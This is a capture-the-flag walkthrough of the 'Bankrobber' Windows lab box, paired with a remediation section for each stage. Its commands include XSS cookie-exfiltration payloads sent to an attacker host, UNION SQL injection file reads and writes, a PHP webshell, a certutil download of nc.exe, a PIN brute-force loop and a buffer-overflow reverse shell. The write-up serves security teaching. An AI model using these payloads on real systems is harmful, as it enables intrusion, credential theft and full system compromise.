← all walkthroughs

Bankrobber

Windows· Insane· Web
owned
2026-07-13
time to own
31m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a free account on the target's self-hosted Internet E-Coin Transfer web application and discovered that the application stored the user's actual password in a cookie encoded only in base64 with no HttpOnly flag. A stored XSS payload injected into a transfer comment fired in the reviewing administrator's browser, exfiltrating the admin's cookie and yielding the plaintext credential admin / <withheld>.

Authenticated as admin, I exploited a UNION-based SQL injection in the user-search function, backed by an unrestricted MySQL FILE privilege, to read the source of a hidden, localhost-only command-execution backdoor. A second XSS payload drove a same-origin authenticated request from the admin's own browser to that backdoor and bypassed its command allowlist with a shell pipe, achieving Windows code execution as the web-application account (Cortin).

The same SQL injection file-write primitive then overwrote phpMyAdmin's access-control file and dropped a persistent PHP webshell, capturing the user flag. Finally, a localhost TCP/910 service accepted a four-digit PIN followed by a transfer amount copied into a fixed 32-byte buffer without length validation; after brute-forcing the tiny PIN space to recover PIN <withheld> and overflowing 32 bytes to overwrite the embedded executable path, the SYSTEM-privileged service launched my own code: full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"

Attack path: how the box was taken

1EnumerationService enumeration; insecure session-cookie design (no HttpOnly flag; credentials base64-encoded rather than stored as opaque tokens)
Fingerprinted services, discovered the banking web app, and registered my own account
A port scan identified Apache 2.4.39 (Win64) with PHP 7.3.4 on ports 80 and 443, MariaDB on 3306, and SMB on 445. The web root served an 'Internet E-Coin Transfer System' with unauthenticated self-registration. After registering account pwn0713, the login response set three cookies (id, username, and password) where username and password carried only base64 encoding and lacked the HttpOnly attribute, meaning any JavaScript executing on the page could read them from document.cookie and immediately decode them.
Nmap confirmed Apache 2.4.39/PHP 7.3.4; login Set-Cookie headers lacked HttpOnly and contained recognisable base64 values for username and password.
Exact commands 3
shell

Identify open services and versions.

$ nmap -sV -sC -p 80,443,445,3306 $TARGET
shell

Register my own account.

$ curl -sS -i -c cookies.txt -X POST http://$TARGET/register.php --data-urlencode 'username=pwn0713' --data-urlencode "password=$PASSWORD2" --data 'pounds=Submit'
shell

Log in and inspect Set-Cookie response headers: note absent HttpOnly flag and base64-encoded password value.

$ curl -sS -i -c cookies.txt -b cookies.txt -X POST http://$TARGET/login.php --data-urlencode 'username=pwn0713' --data-urlencode "password=$PASSWORD2" --data 'pounds=Submit'
2ExploitationStored Cross-Site Scripting (CWE-79 / MITRE T1059.007)
Planted a stored XSS payload in a transfer comment to exfiltrate the administrator's session cookies
The comment field on user/transfer.php stored raw HTML and JavaScript without sanitization or output encoding. When an administrator reviewed pending transfers, the stored comment rendered and executed in their browser. A script tag payload instructed the admin's browser to read document.cookie and HTTP-GET the full cookie string, including the base64-encoded password, to my own listener. After the admin's review cycle (approximately 30–60 seconds) the listener received all three cookie values.
My HTTP listener received the admin password cookie; base64-decoded value: <withheld>; username cookie decoded to: admin.
Exact commands 3
shell

Start a listener on my machine to catch the exfiltrated cookie beacon. Run in background; replace 8080 if the port is taken.

$ python3 -m http.server 8080
shell

Submit the stored XSS payload; replace $ATTACKER_IP with my machine's IP reachable from the server. Wait ~60 s for admin review.

$ curl -sS -b cookies.txt -X POST http://$TARGET/user/transfer.php --data-urlencode 'fromId=4' --data-urlencode 'toId=1' --data-urlencode 'amount=1' --data-urlencode "comment=<script>new Image().src='http://$ATTACKER_IP:8080/?c='+document.cookie</script>"
shell

Decode the captured password cookie value to recover the admin plaintext credential.

$ echo '<BASE64_PASSWORD_COOKIE>' | base64 -d
FixEncode all user-submitted content before rendering it in HTMLCritical
WeaknessThe transfer comment field stored raw HTML and JavaScript without sanitization or output encoding. When the administrator's browser rendered stored comments, injected scripts executed in the admin's privileged session, enabling silent cookie theft and arbitrary same-origin requests.
FixApply server-side output encoding to every user-controlled value before inserting it into an HTML context: use htmlspecialchars() with ENT_QUOTES|ENT_SUBSTITUTE in PHP. Add a Content-Security-Policy response header (default-src 'self'; script-src 'self') to block inline script execution even if a payload reaches the page.
3Credential AccessCookie-based credential theft; credential exposure through absent HttpOnly flag and cleartext-equivalent encoding
Decoded stolen cookies to recover admin plaintext credentials and authenticated to the admin panel
Because the application stored the user's actual password in a cookie with only base64 encoding, decoding the stolen value immediately returned <withheld>: no cracking required. The username cookie decoded to 'admin'. These credentials were used to log in to the /admin/ administrative panel, opening access to the UNION SQLi-vulnerable search function and the transfer management interface.
Decoded admin password = <withheld>; curl to /admin/ with admin_cookies.txt returned the admin dashboard.
Exact commands 2
shell

Authenticate as admin using the decoded credentials.

$ curl -sS -i -c admin_cookies.txt -X POST http://$TARGET/login.php --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data 'pounds=Submit'
shell

Verify admin panel access is granted.

$ curl -sS -b admin_cookies.txt http://$TARGET/admin/
FixSet HttpOnly on session cookies and replace credential-bearing cookies with opaque session tokensCritical
WeaknessThe application stored the user's actual password in a cookie using only base64 encoding, with no HttpOnly attribute. Any JavaScript executing on the page, including injected XSS, could read document.cookie and immediately recover the plaintext password with a single decode.
FixSet the HttpOnly and Secure flags on every session cookie (setcookie($name, $value, ['httponly'=>true, 'secure'=>true, 'samesite'=>'Lax']) in PHP). Replace the id/username/password cookie scheme with a single randomly generated server-side session token (session_start() in PHP). Credentials must never appear in cookies in any encoding.
4ExploitationUNION-based SQL injection with MySQL LOAD_FILE arbitrary file read (CWE-89 / MITRE T1005)
Exploited UNION SQL injection in the admin user-search to read arbitrary server files via MySQL LOAD_FILE
The admin user-search endpoint (admin/search.php) concatenated the search term directly into a SQL query, enabling UNION injection. The MariaDB account held the FILE privilege with secure_file_priv unset, making LOAD_FILE available for arbitrary file reads. I retrieved the source of admin/backdoorchecker.php, revealing it accepted a cmd parameter, verified the caller's IP was ::1/127.0.0.1, and matched commands against an allowlist before calling system(). Reading httpd-xampp.conf confirmed phpMyAdmin was restricted to local access and identified its filesystem path.
LOAD_FILE on backdoorchecker.php returned PHP source showing the ::1 IP check, allowlist array, and system() call; httpd-xampp.conf showed Require local on the phpMyAdmin alias; secure_file_priv confirmed NULL.
Exact commands 3
shell

Retrieve the backdoor source to learn its localhost check and command allowlist.

$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,LOAD_FILE('C:/xampp/htdocs/admin/backdoorchecker.php'),1;#"
shell

Confirm secure_file_priv is NULL, enabling unrestricted INTO DUMPFILE file writes.

$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,CONCAT('secure_file_priv=',IFNULL(@@secure_file_priv,'NULL')),1;#"
shell

Read the Apache config to confirm phpMyAdmin requires localhost and identify its path on disk.

$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION SELECT 1,LOAD_FILE('C:/xampp/apache/conf/extra/httpd-xampp.conf'),1;#"
FixUse parameterized queries to eliminate SQL injection in the admin user-search endpointCritical
WeaknessThe admin search function concatenated the user-supplied search term directly into a SQL query string. An unauthorised user authenticated as admin could inject arbitrary UNION clauses, call LOAD_FILE() to read any server file, and write externally controlled content anywhere the database process could reach via INTO DUMPFILE.
FixReplace all dynamic SQL string concatenation with prepared statements and bound parameters: use PDO with prepare()/bindParam() or MySQLi with prepare()/bind_param() throughout the application. This eliminates the injection surface regardless of input content.
5ExploitationSame-origin stored XSS to satisfy localhost IP restriction; shell-pipe command-allowlist bypass (MITRE T1059.003)
Drove a same-origin XSS request to the localhost-gated backdoor and bypassed the command allowlist with a shell pipe
With the backdoor source in hand, I queued a second stored-XSS transfer comment. When the admin reviewed it, their browser, already authenticated and running on the server itself, sent a GET request to /admin/backdoorchecker.php?cmd=<allowlisted_cmd>|<attacker_cmd>. The server saw the request originate from ::1, satisfying the IP check. The shell pipe character passed the disallowed command to cmd.exe after the whitelisted prefix completed, yielding arbitrary Windows command execution as the web-application account (Cortin). Confirmation was received via a callback hit on my listener.
My listener received a callback from $TARGET confirming execution; identity confirmed as bankrobber\cortin.
Exact commands 2
shell

Second my listener to confirm backdoor execution callback. Run in background.

$ python3 -m http.server 8081
shell

Queue an XSS payload that drives the admin's own browser to make an authenticated same-origin request to the backdoor. Replace $ATTACKER_IP. Wait for admin review cycle (~60 s) and confirm the listener hit.

$ curl -sS -b cookies.txt -X POST http://$TARGET/user/transfer.php --data-urlencode 'fromId=4' --data-urlencode 'toId=1' --data-urlencode 'amount=1' --data-urlencode "comment=<script>var r=new XMLHttpRequest();r.open('GET','http://localhost/admin/backdoorchecker.php?cmd=dir|curl+http://$ATTACKER_IP:8081/',false);r.withCredentials=true;r.send();</script>"
FixRemove the server-side command-execution backdoor endpointCritical
WeaknessThe file admin/backdoorchecker.php exposed a cmd parameter that passed caller-supplied input to PHP's system() function. Its two safeguards, an IP-based localhost check and a command allowlist, were defeated simultaneously: the XSS payload satisfied the IP check by originating from the server's own browser, and a shell-pipe character appended to any allowlisted prefix bypassed the content restriction.
FixDelete backdoorchecker.php immediately. Production web applications must never contain endpoints that pass user-controlled input to system(), exec(), or equivalent functions. Any legitimate need for remote server administration must use a dedicated, properly authenticated channel (e.g., SSH restricted to a management VLAN with key-based auth only).
6PersistenceSQL injection INTO DUMPFILE arbitrary file write; PHP webshell implant (MITRE T1505.003)
Wrote a persistent PHP webshell via SQLi INTO DUMPFILE after unlocking phpMyAdmin from localhost
Using the confirmed INTO DUMPFILE write capability, I first overwrite /xampp/phpmyadmin/.htaccess (hex-encoding 'Require all granted' to avoid quote conflicts) to remove the localhost restriction on phpMyAdmin. A second write placed a one-line PHP webshell (cx0713.php) in that directory. This gave a stable, always-on code-execution channel requiring no admin browser review cycle. The user flag was read directly through the webshell.
Curl to /phpmyadmin/cx0713.php?cmd=whoami returned bankrobber\cortin.
Exact commands 3
shell

Overwrite .htaccess with 'Require all granted\n' (hex-encoded). Removes the localhost restriction on phpMyAdmin so the webshell is reachable externally.

$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION ALL SELECT 0x5265717569726520616c6c206772616e7465640a,'','' INTO DUMPFILE 'C:/xampp/phpmyadmin/.htaccess';#"
shell

Write the PHP webshell (hex of <?php system($_REQUEST['c']);?>) to the now-public phpMyAdmin directory.

$ curl -sS -b admin_cookies.txt -X POST http://$TARGET/admin/search.php --data-urlencode "term=' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b2763275d293b3f3e,2,3 INTO DUMPFILE 'C:/xampp/phpmyadmin/cx0713.php';#"
shell

Read the user flag through the webshell to confirm code execution.

$ curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=type C:\Users\Cortin\Desktop\user.txt'
FixRevoke the MySQL FILE privilege and restrict secure_file_privHigh
WeaknessThe MariaDB account used by the web application held the FILE privilege with secure_file_priv unset, allowing LOAD_FILE() to read any file the database process could access and INTO DUMPFILE/OUTFILE to write externally controlled content to any writable path on the system, including the web root.
FixRevoke FILE from all application database accounts: REVOKE FILE ON *.* FROM 'webapp'@'localhost'; then restart MariaDB. Set secure_file_priv in my.ini to a non-web-accessible dedicated directory or to an empty string to disable file I/O entirely. The application DB account should hold only SELECT, INSERT, UPDATE, and DELETE privileges on its own schema tables.
7Privilege EscalationPIN brute force; path-buffer overflow in a SYSTEM-privileged Windows service (CWE-121 / MITRE T1203)
Brute-forced the TCP/910 PIN and exploited a path-buffer overflow to execute code as SYSTEM
The webshell revealed a Windows service listening on loopback TCP/910 presenting an 'Internet E-Coin Transfer' banner. The service prompted for a four-digit numeric PIN before accepting a transfer amount. With only 10,000 possible PINs, I scripted a brute-force loop and discovered PIN <withheld>. After the PIN was accepted, the service copied the caller-supplied transfer amount into a fixed 32-byte buffer that held an executable path, without any length validation. Sending 32 bytes of padding followed by my own executable path caused the SYSTEM-privileged service to launch that binary, yielding a SYSTEM-level reverse shell and the root flag.
PIN <withheld> accepted by service; 32-byte filler + nc.exe path executed as SYSTEM; root.txt captured from C:\Users\Administrator\Desktop\root.txt.
Exact commands 4
shell

Stage netcat on the target via the webshell; replace $ATTACKER_IP with my machine IP and serve nc.exe on port 9000.

$ curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/nc.exe C:/Windows/Temp/nc.exe"
shell

Brute-force the four-digit PIN from a shell on the compromised host (via webshell reverse shell or nc relay). Expected PIN: <withheld>.

$ for pin in $(seq -w 0 9999); do result=$(printf '%s\n1\n' "$pin" | timeout 2 nc 127.0.0.1 910 2>/dev/null); if ! echo "$result" | grep -qi 'denied\|wrong\|invalid'; then echo "Valid PIN: $pin"; break; fi; done
shell

Send PIN <withheld>, then overflow the 32-byte buffer with a reverse-shell nc.exe invocation to trigger SYSTEM execution. Run from the compromised host.

$ python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1',910)); s.recv(1024); s.send(b'$PASSWORD3\n'); s.recv(1024); s.send(b'A'*32+b'C:/Windows/Temp/nc.exe -e cmd.exe $ATTACKER_IP 9001\n'); s.close()"
shell

Catch the SYSTEM-level reverse shell on my machine.

$ nc -lvnp 9001
FixFix the buffer overflow and brute-forceable PIN in the TCP/910 transfer serviceCritical
WeaknessThe TCP/910 service used a four-digit numeric PIN as its sole authentication mechanism, only 10,000 possible values, enumerable in under a minute. After accepting the PIN it copied the caller-supplied transfer amount into a fixed 32-byte buffer without length validation, allowing an unauthorised user to overwrite the executable path that the SYSTEM-privileged service then launched.
FixRewrite the service to use bounded copy functions (strncpy or safe equivalents with the correct limit enforced) and reject input longer than the buffer before copying. Replace the four-digit PIN with proper authentication (cryptographically random token or Windows service-account authentication). Run the service under a dedicated least-privilege Windows service account rather than SYSTEM, so that even a future bug cannot yield full system compromise.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more